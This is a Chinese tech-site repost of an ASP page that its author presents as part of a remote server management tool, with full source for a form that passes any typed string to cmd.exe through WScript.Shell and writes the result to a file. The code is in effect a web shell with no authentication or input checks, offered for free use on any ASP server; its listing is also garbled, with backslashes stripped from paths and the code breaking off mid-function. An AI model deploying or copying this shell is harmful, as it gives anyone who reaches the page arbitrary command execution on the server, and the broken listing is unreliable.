当前位置: 移动技术网 > IT编程>开发语言>.net > 可以执行系统命令的ASP原码放送

可以执行系统命令的ASP原码放送

2019年01月13日  | 移动技术网IT编程  | 我要评论

诗歌 我的祖国,莫菁,携商网

最近正在写一个远程服务器管理的东东(借鉴了ase的部分代码、增加了远程
执行命令、上传、服务等功能。),得到了阿新、adam、辰儿、ghost_happy、
crazybird等很多网友的帮助,让我很感动,所以我打算写好了以后,全部原代码公布,可以自由修改和散布。你所要做的只是上传程序到一个支持asp的服务器。

值得注意的是,程序运行必须有filesystemobject支持。以下是远程执行命令的
原代码。copy下来另存为execute..

演示地址:
一台日本的烂机,所以中文会出现乱码!

<html>

<head>
<meta http-equiv="content-language" content="zh-cn">
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<meta name="generator" content="microsoft frontpage 4.0">
<meta name="progid" content="frontpage.editor.document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#c0c0c0">

<form method="post" action="execute.asp">
  <p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:" style="background-color: #c0c0c0; color:

#000000; border-style: solid; border-width: 1">
  <input type="submit" value="执行" name="b1" style="background-color:

#c0c0c0; color: #000000; border: 1 groove #c0c0c0"></p>  
</form>  
<%  
ml=request.form("ml")  
cmd="c:winntsystem32cmd.exe /c "&ml&" >c:whoami.txt" 修改

whoami.txt路径到一个有写权限的目录
set wshshell = server.createobject("wscript.shell")  
retcode = wshshell.run(cmd, 1, true)  
if retcode = 0 then  
    response.write ml & " "
    response.write " 命令成功执行!"&"<br><br>"  
else  
   response.write " 命令执行失败!权限不够或者该程序无法在dos状态下运行

!"&"<br><br>"  

end if  
response.write cmd  
                  
function htmlencode(str)  
dim result  
dim l  
if isnull(str) then   
htmlencode=""  
exit function  
end if  
l=len(str)  
result=""  
    dim i  
    for i = 1 to l  
     select case mid(str,i,1)  
     case "<"  
     result=result+"&lt;"  
     case ">"  
     result=result+"&gt;"  
     case chr(34)  
     result=result+"&quot;"  

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网